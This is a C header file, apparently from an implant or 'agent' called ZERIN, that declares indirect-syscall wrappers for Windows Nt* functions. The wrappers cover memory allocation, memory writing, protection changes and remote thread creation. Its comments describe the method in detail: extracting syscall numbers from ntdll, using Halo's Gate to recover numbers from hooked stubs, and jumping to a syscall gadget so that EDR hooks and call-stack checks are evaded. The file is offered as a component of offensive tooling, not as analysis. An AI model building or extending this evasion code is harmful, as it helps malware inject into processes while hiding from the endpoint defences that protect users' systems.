98 lines
3.0 KiB
C
98 lines
3.0 KiB
C
#ifndef ZERIN_INDIRECT_SYSCALLS_H
|
|||
|
|
#define ZERIN_INDIRECT_SYSCALLS_H
|
||
|
|
|
||
|
|
#ifdef _WIN32
|
||
|
|
|
||
|
|
#include <windows.h>
|
||
|
|
#include <winternl.h>
|
||
|
|
|
||
|
|
// ============================================================================
|
||
|
|
// Indirect Syscalls
|
||
|
|
//
|
||
|
|
// Instead of calling Nt* functions through ntdll (where EDR inline hooks
|
||
|
|
// intercept every call), we:
|
||
|
|
// 1. Extract the System Service Number (SSN) from ntdll's stub bytes
|
||
|
|
// 2. Find a clean "syscall; ret" gadget inside ntdll's .text section
|
||
|
|
// 3. Set EAX = SSN, R10 = first arg, then JMP to the gadget
|
||
|
|
//
|
||
|
|
// The return address on the call stack points into ntdll's address range,
|
||
|
|
// so EDR call-stack inspection sees a legitimate origin.
|
||
|
|
//
|
||
|
|
// Halo's Gate: If a stub is hooked (first bytes overwritten), we scan
|
||
|
|
// neighboring syscall stubs (SSN ± offset) to calculate the correct SSN.
|
||
|
|
// ============================================================================
|
||
|
|
|
||
|
|
// Initialize the indirect syscall table.
|
||
|
|
// Must be called once during agent startup (after PEB is accessible).
|
||
|
|
// Returns 0 on success, -1 on failure.
|
||
|
|
int indirect_syscalls_init(void);
|
||
|
|
|
||
|
|
// Check if indirect syscalls were initialized successfully.
|
||
|
|
int indirect_syscalls_ready(void);
|
||
|
|
|
||
|
|
// ---------------------------------------------------------------------------
|
||
|
|
// Wrapper functions — same signatures as the real Nt* functions.
|
||
|
|
// Implemented as naked assembly stubs that dispatch via SSN + gadget JMP.
|
||
|
|
// ---------------------------------------------------------------------------
|
||
|
|
|
||
|
|
NTSTATUS sc_NtAllocateVirtualMemory(
|
||
|
|
HANDLE ProcessHandle,
|
||
|
|
PVOID *BaseAddress,
|
||
|
|
ULONG_PTR ZeroBits,
|
||
|
|
PSIZE_T RegionSize,
|
||
|
|
ULONG AllocationType,
|
||
|
|
ULONG Protect
|
||
|
|
);
|
||
|
|
|
||
|
|
NTSTATUS sc_NtProtectVirtualMemory(
|
||
|
|
HANDLE ProcessHandle,
|
||
|
|
PVOID *BaseAddress,
|
||
|
|
PSIZE_T RegionSize,
|
||
|
|
ULONG NewProtect,
|
||
|
|
PULONG OldProtect
|
||
|
|
);
|
||
|
|
|
||
|
|
NTSTATUS sc_NtWriteVirtualMemory(
|
||
|
|
HANDLE ProcessHandle,
|
||
|
|
PVOID BaseAddress,
|
||
|
|
PVOID Buffer,
|
||
|
|
SIZE_T NumberOfBytesToWrite,
|
||
|
|
PSIZE_T NumberOfBytesWritten
|
||
|
|
);
|
||
|
|
|
||
|
|
NTSTATUS sc_NtCreateThreadEx(
|
||
|
|
PHANDLE ThreadHandle,
|
||
|
|
ACCESS_MASK DesiredAccess,
|
||
|
|
PVOID ObjectAttributes,
|
||
|
|
HANDLE ProcessHandle,
|
||
|
|
PVOID StartRoutine,
|
||
|
|
PVOID Argument,
|
||
|
|
ULONG CreateFlags,
|
||
|
|
SIZE_T ZeroBits,
|
||
|
|
SIZE_T StackSize,
|
||
|
|
SIZE_T MaximumStackSize,
|
||
|
|
PVOID AttributeList
|
||
|
|
);
|
||
|
|
|
||
|
|
NTSTATUS sc_NtClose(
|
||
|
|
HANDLE Handle
|
||
|
|
);
|
||
|
|
|
||
|
|
NTSTATUS sc_NtQueryInformationProcess(
|
||
|
|
HANDLE ProcessHandle,
|
||
|
|
ULONG ProcessInformationClass,
|
||
|
|
PVOID ProcessInformation,
|
||
|
|
ULONG ProcessInformationLength,
|
||
|
|
PULONG ReturnLength
|
||
|
|
);
|
||
|
|
|
||
|
|
NTSTATUS sc_NtFreeVirtualMemory(
|
||
|
|
HANDLE ProcessHandle,
|
||
|
|
PVOID *BaseAddress,
|
||
|
|
PSIZE_T RegionSize,
|
||
|
|
ULONG FreeType
|
||
|
|
);
|
||
|
|
|
||
|
|
#endif // _WIN32
|
||
|
|
#endif // ZERIN_INDIRECT_SYSCALLS_H
|